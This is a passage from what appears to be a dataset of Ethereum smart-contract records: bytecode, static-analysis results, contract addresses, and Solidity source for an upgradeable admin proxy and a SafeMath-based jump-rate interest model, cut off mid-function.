60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122021ce3dfbadb78b8b51ddf00484759bf0113501f0fbb5524a6aca28b80679a89664736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,314 |
0xA8ACEc8cb32e6dc14Fc4dBc4D218f4Cea5B90fE0
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: Proxy
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// Part: UpgradeabilityProxy
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220426b896a154947b9c52cbd5ec6722bc95c3af1dda6691456051888881781594864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,315 |
0x291303e995c8b5bdd08997b90215aabdfa1e40be
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.4;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a <= b ? a : b;
}
function abs(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return b - a;
}
return a - b;
}
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(
initializing || isConstructor() || !initialized,
"Contract instance has already been initialized"
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract InterestRateModelV2 is Initializable {
using SafeMath for uint256;
// 基础利率0.02,转折点为0.8,0.8时为30%, 1时为300%, x为使用率
// y1 = 0.35 * x + 0.02 x∈[0, 0.8] y1∈[0.02, 0.3]
// y2 = 13.5 * x - 10.5 x∈[0.8, 1] y2∈[0.3, 3]
uint256 public multiplierPerBlock; // 0.35 ==> 0.35 * 1e18
uint256 public jumpMultiplierPerBlock;//13.5 ==> 13.5 * 1e18
uint256 public jumpPoint;//转折点 0.8 ==> 0.8 * 1e18
uint256 public baseRatePerBlock;//0.02e18 截距为1
uint256 public blocksPerYear;//ETH: 2102400, BSC: 10512000
address public admin;
function initialize(
uint256 baseRatePerYear,
uint256 multiplierPerYear,
uint256 jumpMultiplierPerYear,
uint256 _blocksPerYear,
uint256 _jumpPoint
) public initializer {
blocksPerYear = _blocksPerYear;
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
jumpPoint = _jumpPoint;
admin = msg.sender;
}
modifier onlyAdmin {
require(msg.sender == admin, "OnlyAdmin");
_;
}
function set(
uint256 baseRatePerYear,
uint256 multiplierPerYear,
uint256 jumpMultiplierPerYear,
uint256 _blocksPerYear,
uint256 _jumpPoint
) external onlyAdmin {
blocksPerYear = _blocksPerYear;
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
jumpPoint = _jumpPoint;
}
// 计算利用率
function utilizationRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) public pure returns (uint256) {
if (borrows == 0) {
return 0;
}
// borrows/(cash + borrows)
return borrows.mul(1e18).div(cash.add(borrows));
}
// 借款利率
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) public view returns (uint256) {
uint256 ur = utilizationRate(cash, borrows, reserves);
if (ur <= jumpPoint) {
return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);//y1 = 0.35 * x + 0.02
} else {
// jumpPointRate = 0.8 * 0.35 + 0.02 = 0.30
// deltaY = jumpMultiplierPerBlock * (ur - jumpPoint) == deltaX * (ur - 0.8)
// y = jumpPointRate + deltaY
uint256 jumpPointRate = jumpPoint.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint256 excessUr = ur.sub(jumpPoint);
return excessUr.mul(jumpMultiplierPerBlock).div(1e18).add(jumpPointRate);// y2 = 13.5 * x - 10.5
}
}
// 存款利率
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) public view returns (uint256) {
